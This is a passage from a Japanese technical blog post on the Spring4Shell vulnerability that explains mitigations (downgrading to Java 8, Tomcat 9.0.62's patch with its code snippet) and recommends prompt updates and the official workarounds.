このログが出力されると、上記 Query 引数で指定したパラメータに対する CachedIntrospectionResults のログは出ていません。入り口で動作が抑止された事がわかります。

Java 8へのダウングレード

Downgrading to Java 8 provides a viable workaround, which may be a quick and simple thing to do as a tactical solution, until you can upgrade to a supported Spring Framework version.

Java8 へダウングレードすることでSpring Framework のアップグレードの準備ができるまでの時間稼ぎはできるとのこと(Java8 の EOL まだ大丈夫なんでしたっけ・・・

なぜこれが有効かということですが Java9 以降で導入された module によるものです。これを通して ClassLoader へアクセスします。 Class.html#getModule

Java8 以前ではこのメソッドが存在しないため、PoC の攻撃コードは実行できません。

Tomcat 9.0.62 へのアップデート

Tomcat の方でも対応がされていますが、なかなかな実装でちょっと心配(大丈夫なんでしょうが

https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c#diff-d910f94ef0a3fabb0732d44956494b06bb7296a4883e70222909ba59121d6281

/**
 * Unused. Always returns {@code null}.
 *
 * @return associated resources.
 *
 * @deprecated This will be removed in Tomcat 10.1.x onwards
 */
@Deprecated
public WebResourceRoot getResources() {
    return null;
}

https://tomcat.apache.org/tomcat-9.0-doc/changelog.html

9.0.62 に対して PoC のコードを実行すると以下の通りエラーとなります。

NullPointerException・・・!

まとめ

今回は Spring のかなりコアな機能の脆弱性ということで、影響は以前の Log4Shell 以上に広範囲でした。

調査を進めていくと、組み込みTomcat で起動している SpringBoot アプリケーションでは再現が難しいことや、攻撃の条件がある程度厳しく、Log4Shell のときのように気軽に誰でも再現できるようなものではないことがわかりました。

今回の脆弱性は Spring を利用していればほぼ全てに影響があるということもあり、根本原因となるコードの部分やそれらの修正に関わる Issue をウォッチするなどしましたが、比較的早期に修正パッチがアナウンスされました。順次提供されたバージョンへのアップデートを早期に実施するのが良いでしょう。

しかし一部修正がバックポートで適用されていないなどの事情もあることから、依然として脆弱性は残り続ける可能性もあります。公式からもワークアラウンドの対応がいくつか提案されているため、アップデートできない場合はこれらの対応を行っておいたほうが良いかと思います。

前回の Log4Shell は年末、今回の Spring4Shell は年度末。今後も気をつけておいたほうが良さそうです。

参照